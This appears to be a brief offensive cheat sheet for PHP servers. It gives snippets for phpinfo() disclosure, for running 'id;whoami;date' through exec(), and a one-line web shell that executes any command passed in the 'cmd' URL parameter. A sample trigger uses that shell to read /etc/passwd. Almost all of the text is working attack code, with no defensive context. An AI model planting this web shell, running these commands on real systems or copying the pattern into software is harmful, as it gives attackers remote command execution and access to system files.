PHP Info Disclosure
phpinfo() snippet
<?php
phpinfo();
?>
Settings worth checking after phpinfo()
disable_functionsallow_url_fopenallow_url_include
Inline command execution snippet
<?php
echo exec("id;whoami;date");
?>
Parameterized RCE snippet
<?php
echo exec($_GET['cmd']);
?>
Trigger with ....../test.php?cmd=cat /etc/passwd.